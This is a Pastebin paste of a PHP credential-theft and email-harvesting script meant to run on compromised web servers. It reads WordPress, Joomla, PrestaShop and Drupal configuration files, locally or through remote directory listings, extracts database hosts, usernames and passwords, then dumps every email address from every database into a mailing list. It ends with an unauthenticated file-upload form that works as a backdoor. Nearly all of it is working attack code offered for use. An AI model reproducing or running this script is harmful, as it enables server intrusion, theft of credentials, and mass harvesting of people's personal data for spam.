API tools faq
paste
D3F4ULT8778

Untitled

D3F4ULT8778
Jun 2nd, 2020
67,878
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.84 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. ini_set('memory_limit', '-1');
  3. echo "
  4. <html>
  5. <center><a href='list.txt'>MAILLIST</a><br>
  6. </html>
  7. ";
  8. if($_GET["wp"]){
  9. echo "wordpress <br><br>";
  10. $url=$_GET["wp"];
  11. $a=$_GET["a"];
  12. $filee=@file_get_contents($url);
  13. for($a=$a;$a<=800000;$a++){
  14. echo $a."<br><br>";
  15. $files=explode("\"> ",$filee);
  16. $aa=explode("</a></li>",$files[$a]);
  17. $ss= str_replace(array("<li><a href=\"","\n","\r","\r\n"," "), "", $aa[1]);
  18. $web=$url."/".$ss;
  19. echo $web."<br>";
  20. $file=@file_get_contents($web);
  21. if(@preg_match("/'DB_NAME', '/i",$file) or @preg_match("/'DB_USER', '/i",$file) ){
  22. //////////host////////////////
  23. //////////host////////////////
  24. $host=explode("'DB_HOST', '",$file);
  25. $host=explode("');",$host[1]);
  26. $host=$host[0];
  27. /////////user///////////////
  28. $user=explode("'DB_USER', '",$file);
  29. $user=explode("');",$user[1]);
  30. $user=$user[0];
  31. ////////password///////////
  32. $pass=explode("'DB_PASSWORD', '",$file);
  33. $pass=explode("');",
  34. $pass[1]);$pass=$pass[0];
  35. ///////////////////////////////////////
  36. echo "db-host : $host <br>";echo "db-user : $user <br>";echo "db-pass : $pass <br>";
  37.  
  38. bajatax_co($host,$user,$pass,"list.txt");
  39. }}
  40. }
  41. if($_GET["joom"]){
  42. echo "joomla <br>";
  43. $url=$_GET["joom"];
  44. $a=$_GET["a"];
  45. $filee=@file_get_contents($url);
  46. for($a=$a;$a<=800000;$a++){
  47. echo $a."<br><br>";
  48. $files=explode("\"> ",$filee);
  49. $aa=explode("</a></li>",$files[$a]);
  50. $ss= str_replace(array("<li><a href=\"","\n","\r","\r\n"," "), "", $aa[1]);
  51. $web=$url."/".$ss;
  52. echo $web."<br>";
  53. $file=@file_get_contents($web);
  54. if(@preg_match("/class/i",$file) or @preg_match("/var/i",$file) ){
  55. //////////host////////////////
  56. //////////host////////////////
  57. $host=explode("\$host = '",$file);
  58. $host=explode("';",$host[1]);
  59. $host=$host[0];
  60. /////////user///////////////
  61. $user=explode("\$user = '",$file);
  62. $user=explode("';",$user[1]);
  63. $user=$user[0];
  64. ////////password///////////
  65. $pass=explode("\$password = '",$file);
  66. $pass=explode("';",$pass[1]);
  67. $pass=$pass[0];
  68. ///////////////////////////////////////
  69. echo "db-host : $host <br>";echo "db-user : $user <br>";echo "db-pass : $pass <br>";
  70. bajatax_co($host,$user,$pass,"list.txt");
  71. }}
  72. }
  73. if($_GET["presta"]){
  74. echo "presta <br>";
  75. $url=$_GET["presta"];
  76. $a=$_GET["a"];
  77. $filee=@file_get_contents($url);
  78. for($a=$a;$a<=800000;$a++){
  79. echo $a."<br><br>";
  80. $files=explode("\"> ",$filee);
  81. $aa=explode("</a></li>",$files[$a]);
  82. $ss= str_replace(array("<li><a href=\"","\n","\r","\r\n"," "), "", $aa[1]);
  83. $web=$url."/".$ss;
  84. echo $web."<br>";
  85. $file=@file_get_contents($web);
  86. if(@preg_match(".'_DB_SERVER_', '/i",$file) or @preg_match("/'_DB_NAME_', '/i",$file) ){
  87. //////////host////////////////
  88. //////////host////////////////
  89. $host=explode("'_DB_SERVER_', '",$file);
  90. $host=explode("');",$host[1]);
  91. $host=$host[0];
  92. /////////user///////////////
  93. $user=explode("'_DB_USER_', '",$file);
  94. $user=explode("');",$user[1]);
  95. $user=$user[0];
  96. ////////password///////////
  97. $pass=explode("'_DB_PASSWD_', '",$file);
  98. $pass=explode("');",
  99. $pass[1]);$pass=$pass[0];
  100. ///////////////////////////////////////
  101. echo "db-host : $host <br>";echo "db-user : $user <br>";echo "db-pass : $pass <br>";
  102. //////////////////////////////////////////////////////////////////////////
  103. bajatax_co($host,$user,$pass,"list.txt");
  104. exit();
  105.  
  106. }}
  107. }
  108. if (file_exists("config/settings.inc.php") or ("../config/settings.inc.php") or ("../../config/settings.inc.php") or ("../../../config/settings.inc.php") or ("../../../../config/settings.inc.php") or ("../../../../../config/settings.inc.php") or ("../../../../../../config/settings.inc.php")) {
  109. $config=array(
  110. "config/settings.inc.php","../config/settings.inc.php","../../config/settings.inc.php","../../../config/settings.inc.php","../../../../config/settings.inc.php","../../../../../config/settings.inc.php","../../../../../../config/settings.inc.php"
  111. );
  112. foreach($config as $wpcon){
  113. $file=@file_get_contents($wpcon);
  114. if(@preg_match("/'_DB_SERVER_', '/i",$file) or @preg_match("/'_DB_NAME_', '/i",$file) ){
  115. //////////host////////////////
  116. //////////host////////////////
  117. $host=explode("'_DB_SERVER_', '",$file);
  118. $host=explode("');",$host[1]);
  119. $host=$host[0];
  120. /////////user///////////////
  121. $user=explode("'_DB_USER_', '",$file);
  122. $user=explode("');",$user[1]);
  123. $user=$user[0];
  124. ////////password///////////
  125. $pass=explode("'_DB_PASSWD_', '",$file);
  126. $pass=explode("');",
  127. $pass[1]);$pass=$pass[0];
  128. ///////////////////////////////////////
  129. echo "db-host : $host <br>";echo "db-user : $user <br>";echo "db-pass : $pass <br>";
  130. //////////////////////////////////////////////////////////////////////////
  131. bajatax_co($host,$user,$pass,"list.txt");
  132. exit();
  133.  
  134. }}}
  135. if (file_exists("app/config/parameters.php") or ("../capp/config/parameters.php") or ("../../app/config/parameters.php") or ("../../../app/config/parameters.php") or ("../../../../app/config/parameters.php") or ("../../../../../app/config/parameters.php") or ("../../../../../../app/config/parameters.php")) {
  136. $config=array(
  137. "app/config/parameters.php","../app/config/parameters.php","../../app/config/parameters.php","../../../app/config/parameters.php","../../../../app/config/parameters.php","../../../../../app/config/parameters.php","../../../../../../app/config/parameters.php"
  138. );
  139. foreach($config as $wpcon){
  140. $file=@file_get_contents($wpcon);
  141. if(@preg_match("/database_name/i",$file) or @preg_match("/database_user/i",$file) ){
  142. //////////host////////////////
  143. //////////host////////////////
  144. $host=explode("database_host' => '",$file);
  145. $host=explode("'",$host[1]);
  146. $host=$host[0];
  147. /////////user///////////////
  148. $user=explode("database_user' => '",$file);
  149. $user=explode("'",$user[1]);
  150. $user=$user[0];
  151. ////////password///////////
  152. $pass=explode("database_password' => '",$file);
  153. $pass=explode("'",$pass[1]);$pass=$pass[0];
  154. ///////////////////////////////////////
  155. echo "db-host : $host <br>";echo "db-user : $user <br>";echo "db-pass : $pass <br>";
  156. //////////////////////////////////////////////////////////////////////////
  157. bajatax_co($host,$user,$pass,"list.txt");
  158. exit();
  159.  
  160. }}}
  161. if (file_exists("wp-config.php") or ("../wp-config.php") or ("../../wp-config.php") or ("../../../wp-config.php") or ("../../../../wp-config.php") or ("../../../../../wp-config.php") or ("../../../../../../wp-config.php")) {
  162. $config=array(
  163. "wp-config.php","../wp-config.php","../../wp-config.php","../../../wp-config.php","../../../../wp-config.php","../../../../../wp-config.php","../../../../../../wp-config.php"
  164. );
  165. foreach($config as $wpcon){
  166. $file=@file_get_contents($wpcon);
  167. if(@preg_match("/'DB_NAME', '/i",$file) or @preg_match("/'DB_USER', '/i",$file) ){
  168. //////////host////////////////
  169. //////////host////////////////
  170. $host=explode("'DB_HOST', '",$file);
  171. $host=explode("'",$host[1]);
  172. $host=$host[0];
  173. /////////user///////////////
  174. $user=explode("'DB_USER', '",$file);
  175. $user=explode("'",$user[1]);
  176. $user=$user[0];
  177. ////////password///////////
  178. $pass=explode("'DB_PASSWORD', '",$file);
  179. $pass=explode("'",
  180. $pass[1]);$pass=$pass[0];
  181. ///////////////////////////////////////
  182. echo "db-host : $host <br>";echo "db-user : $user <br>";echo "db-pass : $pass <br>";
  183. //////////////////////////////////////////////////////////////////////////
  184. bajatax_co($host,$user,$pass,"list.txt");
  185. exit();
  186. }}}
  187. if(file_exists("configuration.php") or ("../configuration.php") or ("../../configuration.php") or ("../../../configuration.php") or ("../../../../configuration.php" or "../../../../../configuration.php" or"../../../../../../configuration.php")) {
  188. $config=array(
  189. "configuration.php","../configuration.php","../../configuration.php","../../../configuration.php","../../../../configuration.php","../../../../../configuration.php","../../../../../../configuration.php"
  190. );
  191. foreach($config as $wpcon){
  192. $file=@file_get_contents($wpcon);
  193. if(@preg_match("/'mysql',/i",$file) or @preg_match("/'username',/i",$file) ){
  194. //////////host////////////////
  195. //////////host////////////////
  196. $host=explode("var \$host = '",$file);
  197. $host=explode("'",$host[1]);
  198. $host=$host[0];
  199. /////////user///////////////
  200. $user=explode("var \$user = '",$file);
  201. $user=explode("'",$user[1]);
  202. $user=$user[0];
  203. ////////password///////////
  204. $pass=explode("var \$password = '",$file);
  205. $pass=explode("'",$pass[1]);
  206. $pass=$pass[0];
  207. ///////////////////////////////////////
  208. echo "db-host : $host <br>";echo "db-user : $user <br>";echo "db-pass : $pass <br>";
  209. ///////////////////////////////////:
  210. bajatax_co($host,$user,$pass,"list.txt");
  211. exit();
  212. }}
  213.  
  214. }
  215. if(file_exists("sites/default/settings.php") or ("../sites/default/settings.php") or ("../../sites/default/settings.php") or ("../../../sites/default/settings.php") or ("../../../../sites/default/settings.php") or ("../../../../../sites/default/settings.php") or ("../../../../../../sites/default/settings.php")) {
  216. $config=array(
  217. "sites/default/settings.php","../sites/default/settings.php","../../sites/default/settings.php","../../../sites/default/settings.php","../../../../sites/default/settings.php","../../../../../sites/default/settings.php","../../../../../../sites/default/settings.php"
  218. );
  219. foreach($config as $wpcon){
  220. $file=@file_get_contents($wpcon);
  221. if(@preg_match("/'mysql',/i",$file) or @preg_match("/'username',/i",$file) ){
  222. //////////host////////////////
  223. //////////host////////////////
  224. $file=explode("\$databases = array (",$file);
  225. $host=explode("'host' => '",$file[1]);
  226. $host=explode("'",$host[1]);
  227. $host=$host[0];
  228. /////////user///////////////
  229. $user=explode("'username' => '",$file[1]);
  230. $user=explode("'",$user[1]);
  231. $user=$user[0];
  232. ////////password///////////
  233. $pass=explode("'password' => '",$file[1]);
  234. $pass=explode("'",$pass[1]);
  235. $pass=$pass[0];
  236. ///////////////////////////////////////
  237. echo "db-host : $host <br>";echo "db-user : $user <br>";echo "db-pass : $pass <br>";
  238. ///////////////////////////////////:
  239. bajatax_co($host,$user,$pass,"list.txt");
  240. exit();
  241. }}
  242.  
  243.  
  244. }
  245. else {
  246. echo "i dontknow :/ \n\n";
  247.  
  248.  
  249. }
  250.  
  251.  
  252.  
  253. function grapper1($host,$user,$pass,$file){
  254. /*
  255. author : G-B
  256. email : fb/psycomiste.93
  257. */
  258. $con = mysql_connect($host,$user,$pass);
  259. $fp = fopen($file,'a');
  260. $count = 0;
  261. $databases = getdata("SHOW DATABASES");
  262. foreach($databases as $database){
  263. $tables = getdata("SHOW TABLES FROM $database");
  264. foreach($tables as $table){
  265. $columns = getdata("SHOW COLUMNS FROM $database.$table");
  266. foreach($columns as $column){
  267. $emails = getdata("SELECT $column FROM $database.$table WHERE $column REGEXP '[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]'");
  268. foreach($emails as $email){
  269. if(filter_var($email, FILTER_VALIDATE_EMAIL)){
  270. if(preg_match("/$email/i",file_get_contents($file))) continue;
  271. $count++;
  272. fwrite($fp,"$email\n");
  273. }else{
  274. foreach(preg_split("/\s/",$text) as $string){
  275. if(filter_var($string,FILTER_VALIDATE_EMAIL)){
  276. if(preg_match("/$string/i",file_get_contents($file))) continue;
  277. $count++;
  278. fwrite($fp,"$string\n");
  279. }
  280. }
  281. }
  282. }
  283. }
  284. }
  285. }
  286. fclose($fp);
  287. mysql_close($con);
  288. return $count;
  289. }
  290. function grapper2($host,$user,$pass,$file){
  291. $sql="SHOW DATABASES";
  292. $link = @mysqli_connect($host,$user,$pass) or die ('Error connecting to mysql: ' . mysqli_error($link).'\r\n');
  293. $result=@mysqli_query($link,$sql);
  294. $fp=fopen($file,"a");
  295. if(function_exists("chmod")){ @chmod($file,0755);}
  296. while( $row = mysqli_fetch_row( $result ) ){
  297. $database=$row[0];
  298. $result2=@mysqli_query($link,"SHOW TABLES FROM $database");
  299. while( $row2 = mysqli_fetch_row( $result2 ) ){
  300. $table=$row2[0];
  301. $result3=@mysqli_query($link,"SHOW COLUMNS FROM $database.$table");
  302. while( $row3 = mysqli_fetch_row( $result3 ) ){
  303. $column=$row3[0];
  304. $result4=@mysqli_query($link,"SELECT $column FROM $database.$table WHERE $column REGEXP '[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]'");
  305. while( $row4 = mysqli_fetch_row( $result4 ) ){
  306. $email=$row4[0];
  307. if(filter_var($email, FILTER_VALIDATE_EMAIL)){
  308. if(function_exists("file_get_contents")){ if(preg_match("/$email/i",file_get_contents($file))) continue; }
  309. $count++;
  310. fwrite($fp,"$email\n");
  311. }else{
  312. foreach(preg_split("/\s/",$text) as $string){
  313. if(filter_var($string,FILTER_VALIDATE_EMAIL)){
  314. if(function_exists("file_get_contents")){ if(preg_match("/$string/i",file_get_contents($file))) continue; }
  315. $count++;
  316. fwrite($fp,"$string\n");
  317. }
  318. }
  319. }
  320. }
  321. }
  322. }
  323. }
  324. }
  325. function getdata($sql){
  326. $q = @mysql_query($sql);
  327. $result = array();
  328. while(
  329. $d = @mysql_fetch_array($q)){
  330. $result[] = $d[0];
  331. }
  332. return $result;
  333. }
  334. function bajatax_co($host,$user,$pass,$file){
  335. if(function_exists("mysql_connect")){
  336. grapper1($host,$user,$pass,$file);
  337. }elseif(function_exists("mysqli_connect")){
  338. grapper2($host,$user,$pass,$file);
  339. }else{
  340. echo "No function grappe for this site exist :/ Add this site";
  341. }
  342.  
  343. }
  344.  
  345.  
  346. $data = $_GET['bajatax'];
  347.  
  348.  
  349. if($data == 'up'){
  350.  
  351. $filename = $_FILES['file']['name'];
  352. $filetmp = $_FILES['file']['tmp_name'];
  353.  
  354. echo "<form method='POST' enctype='multipart/form-data'>
  355. <input type='file'name='file' />
  356. <input type='submit' value='data' />
  357.  
  358. </form>";
  359.  
  360. move_uploaded_file($filetmp,$filename);
  361. }
  362.  
  363. ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!